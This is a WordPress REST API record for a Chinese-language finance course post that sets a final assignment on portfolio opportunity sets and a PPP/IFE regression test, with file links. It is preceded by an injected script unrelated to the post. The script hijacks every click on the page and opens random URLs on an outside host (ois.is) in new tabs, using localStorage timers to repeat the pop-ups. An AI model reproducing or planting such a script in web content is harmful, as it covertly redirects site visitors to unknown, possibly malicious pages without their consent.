<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":984,"date":"2023-05-10T01:42:41","date_gmt":"2023-05-09T17:42:41","guid":{"rendered":"https:\/\/edu.secda.info\/scu8154232\/?p=984"},"modified":"2023-05-10T01:55:07","modified_gmt":"2023-05-09T17:55:07","slug":"%e6%9c%9f%e6%9c%ab%e6%9b%b8%e9%9d%a2","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154232\/?p=984","title":{"rendered":"\u671f\u672b\u66f8\u9762"},"content":{"rendered":"<p><strong>1.\u4ee5\u570b\u5167\u80a1\u7968\u56db\u652f\u80a1\u7968(1<\/strong><strong>\u652f\u96fb\u5b50\u80a1\u30011<\/strong><strong>\u652f\u91d1\u878d\u80a1\u30011<\/strong><strong>\u652f\u50b3\u7d71\u7522\u696d\u516c\u53f8\u3001\u53e6\u4e00\u652f\u81ea\u9078\u80a1\u7968)<\/strong><strong>\u3001\u6216\u662f\u56db\u500b\u570b\u5bb6\u7684ETF<\/strong><strong>\u6216\u662f\u5927\u76e4\u6307\u6578\uff0c20230301<\/strong><strong>\u904e\u53bb501<\/strong><strong>\u500b\u6216\u4ee5\u4e0a\u4ea4\u6613\u65e5\u7684\u65e5\u80a1\u50f9\u3001\u8a08\u7b97\u65e5\u5831\u916c\u7387\u5f8c\u3001\u4f86\u5b8c\u6210\u6295\u8cc7\u6a5f\u6703\u96c6\u5408(<\/strong><strong>\u76f8\u540c\u5831\u916c\u7387\u4e0b\u6709\u6700\u5c0f\u98a8\u96aa)<\/strong><strong>\u7684\u88fd\u4f5c\u3002<\/strong><\/p>\n<p><a href=\"https:\/\/edu.secda.info\/scu8154232\/wp-content\/uploads\/2023\/05\/\u570b\u969b\u8ca1\u7ba1-\u6295\u8cc7\u6a5f\u6703\u96c6\u5408.xlsx\">\u570b\u969b\u8ca1\u7ba1-\u6295\u8cc7\u6a5f\u6703\u96c6\u5408<\/a><\/p>\n<p><strong>2.\u5b8c\u6210PPP<\/strong><strong>\u8207IFE<\/strong><strong>\u7684\u5be6\u8b49\uff0c\u4e5f\u5c31\u662f\u4efb\u9078\u4e00\u500b\u570b\u5bb6\u8207\u53f0\u7063\uff0c\u904e\u53bb\u7684\u532f\u7387\u3001\u5229\u7387\u8207\u901a\u81a8\u7387\u81f3\u5c11\u5169\u5e7424<\/strong><strong>\u500b\u6708\u4ee5\u4e0a\u7684\u6708\u8cc7\u6599\uff0c\u7e6a\u88fdPPP<\/strong><strong>\u8207IFE(<\/strong><strong>\u6216\u662fUIRP)<\/strong><strong>\u7684\u5716\u793a\uff0c\u4e5f\u5c31\u662fY<\/strong><strong>\u8ef8\u662f\u532f\u7387\u8b8a\u52d5\u7387\u3001X<\/strong><strong>\u8ef8\u662f\u5169\u570b\u901a\u81a8\u7387\u6216\u662f\u5229\u7387\u7684\u5dee\u8ddd(<\/strong><strong>\u8acb\u7528\u7cbe\u78ba\u7684\u516c\u5f0f\uff0c\u800c\u975e\u53ea\u662f\u76f8\u6e1b)<\/strong><strong>\uff0c\u4e26\u5229\u7528\u8ff4\u6b78\u5206\u6790\u53bb\u6aa2\u9a57\u865b\u7121\u5047\u8a2d\u70ba\uff1a\u622a\u8ddd\u70ba0<\/strong><strong>\u8207\u659c\u7387\u70ba1<\/strong><strong>\u7684\u6aa2\u5b9a\u3002\u8aaa\u660e\u5be6\u8b49\u7d50\u679c\u8207\u7406\u8ad6\u7684\u5dee\u7570\uff0c\u4ee5\u53ca\u53ef\u80fd\u9020\u6210\u7684\u539f\u56e0\u3002<\/strong><\/p>\n<p><a href=\"https:\/\/edu.secda.info\/scu8154232\/wp-content\/uploads\/2023\/05\/\u570b\u969b\u8ca1\u7ba1-PPPIFE\u5be6\u8b49.xlsx\">\u570b\u969b\u8ca1\u7ba1-PPP&amp;IFE\u5be6\u8b49<\/a><\/p>\n<p>DOC\u6a94\u8aaa\u660e-<a href=\"https:\/\/edu.secda.info\/scu8154232\/wp-content\/uploads\/2023\/05\/\u570b\u969b\u8ca1\u7ba1-\u671f\u672b\u66f8\u9762.docx\">\u570b\u969b\u8ca1\u7ba1-\u671f\u672b\u66f8\u9762<\/a><\/p>\n<p>PDF\u6a94\u7c21\u6613\u700f\u89bd<\/p>\n<a href=\"https:\/\/edu.secda.info\/scu8154232\/wp-content\/uploads\/2023\/05\/\u570b\u969b\u8ca1\u7ba1-\u671f\u672b\u66f8\u9762.pdf\" class=\"pdfemb-viewer\" style=\"\" data-width=\"max\" data-height=\"max\"  data-toolbar=\"both\" data-toolbar-fixed=\"off\">\u570b\u969b\u8ca1\u7ba1-\u671f\u672b\u66f8\u9762<br\/><\/a>\n","protected":false},"excerpt":{"rendered":"<p>1.\u4ee5\u570b\u5167\u80a1\u7968\u56db\u652f\u80a1\u7968(1\u652f\u96fb\u5b50\u80a1\u30011\u652f\u91d1\u878d\u80a1\u30011\u652f\u50b3\u7d71\u7522\u696d\u516c\u53f8\u3001\u53e6\u4e00\u652f\u81ea\u9078\u80a1\u7968<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1,3],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=\/wp\/v2\/posts\/984"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=984"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=\/wp\/v2\/posts\/984\/revisions"}],"predecessor-version":[{"id":989,"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=\/wp\/v2\/posts\/984\/revisions\/989"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=984"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=984"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=984"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}